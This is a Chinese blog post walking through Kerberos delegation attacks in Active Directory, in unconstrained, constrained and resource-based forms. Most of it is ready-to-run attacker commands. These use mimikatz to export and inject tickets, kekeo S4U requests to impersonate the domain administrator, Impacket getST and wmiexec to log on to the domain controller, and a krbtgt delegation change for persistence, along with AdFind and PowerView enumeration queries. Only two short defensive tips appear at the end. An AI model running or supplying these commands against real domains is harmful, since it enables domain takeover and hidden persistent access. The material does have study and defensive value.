域内委派攻击
域委派是指,将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动,攻击者可通过利用委派攻击获取域管理员权限。
域委派主要分为三种:
-
非约束性委派
-
约束性委派
-
基于资源的约束性委派
在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的。
01、非约束委派攻击
非约束委派攻击场景:
假设攻击者拿到一台配置了非约束性委派的机器权限,通过诱导域管理员访问这台机器,得到域管理员的TGT,进而模拟管理员访问任意服务,从而拥有域管理员的权限。
非约束委派攻击利用
(1)主机账号设置非约束委派
活动目录中的computers组内的计算机,双击计算机名进行属性设置,信任此计算机来委派任何服务(仅kerberos)。
(2)使用域管理员访问非约束委派主机的服务。
net use \\WIN-CIFJV1AK3T6.evil.com
(3)在非约束性委派主机上,使用mimikatz导出票据。
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
(4)使用mimikatz将票据注入内存,访问域控C盘共享目录中的文件。
查找非约束委派
1、Adfind
下载地址:https://www.softpedia.com/get/Programming/Other-Programming-Files/AdFind.shtml
查询非约束委派的主机账户:
AdFind.exe -b "DC=evil,DC=com" -f "(&(samAccountType=805306369) (userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查询非约束委派的服务账户
AdFind.exe -b "DC=evil,DC=com" -f "(&(samAccountType=805306368) (userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
2、PowerView
查询非约束委派的主机账户
Get-NetComputer -Unconstrained -Domain evil.com
查询非约束委派的服务账户
Get-NetUser -Unconstrained -Domain evil.com | select name
02、约束委派攻击
约束委派攻击场景:
假设服务账号配置了到域控的约束性委派,当攻击者获取了服务账号,可以作为变种黄金票据,用作后门权限维持。
约束委派攻击
(1)设置约束委派
setspn -U -A cifs/test test
(2)构造服务账户test的票据
kekeo.exe "tgt::ask /user:test /domain:evil.com /password:abc123! /ticket:test.kirbi" "exit"
(3)利用刚才伪造的票据,向域服务器申请CIFS服务票据
kekeo.exe "tgs::s4u /tgt:TGT_test@EVIL.COM_krbtgt~evil.com@EVIL.COM.kirbi /user:administrator@evil.com /service:cifs/WIN-DC01" "exit"
(4)使用mimikatz将该票据注入当前的会话中
mimikatz.exe "kerberos::ptt TGS_administrator@evil.com@EVIL.COM_test@EVIL.COM.kirbi" "exit"
(5) 访问目标共享盘
dir \\win-dc01\c$
查找约束委派
1、ADFind
AdFind.exe查询约束委派机器账户
.\AdFind.exe -b "DC=evil,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
AdFind.exe查询约束委派服务账户
.\AdFind.exe -b "DC=evil,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
2、PowerView
# PowerView查询约束委派机器账户
powershell Get-DomainComputer -TrustedToAuth -domain evil.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
# PowerView查询约束委派服务账户
powershell Get-DomainUser –TrustedToAuth -domain evil.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
03、基于资源的约束委派攻击
基于资源的约束委派攻击场景:
假设攻击者在获取到域控权限后,可以对krbtgt用户设置委派属性,以实现维持权限的目的。
基于资源的约束委派攻击:
(1)设置属性值并查询
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount test
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount
(2)获取ST,并使用wmiexec登录域控
python getST.py -dc-ip 192.168.44.136 -spn krbtgt -impersonate administrator evil.com/test:abc123!
set KRB5CCNAME=administrator.ccache
python wmiexec.py -no-pass -k administrator@win-dc01 -dc-ip 192.168.44.136
查找基于资源的非约束委派的用户
当被设置基于资源的约束委派的时候,域控上通过命令行打开adsiedit.msc查看CN=krbtgt的属性,可以看到它的msDS-AllowedToActOnBeahalfOfOtherIdentity会包含有效字段。
防范措施
1、高权限的用户,设置不能被委派。
2、主机账号需设置委派时,只能设置为约束性委派。
参考连接:
https://www.cnblogs.com/first-kiss/articles/16212857.html#
https://forum.butian.net/index.php/share/1591
普通域用户帐号加域权限&授权特定普通域用户加域权限
http://wjhsh.net/airoot-p-14827626.html
https://blog.csdn.net/mooncarp/article/details/127926435
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 2025年我用 Compose 写了一个 Todo App
· 张高兴的大模型开发实战:(一)使用 Selenium 进行网页爬虫
2017-01-31 windows恶意软件删除工具(MRT.exe)检查计算机是否感染病毒使用图解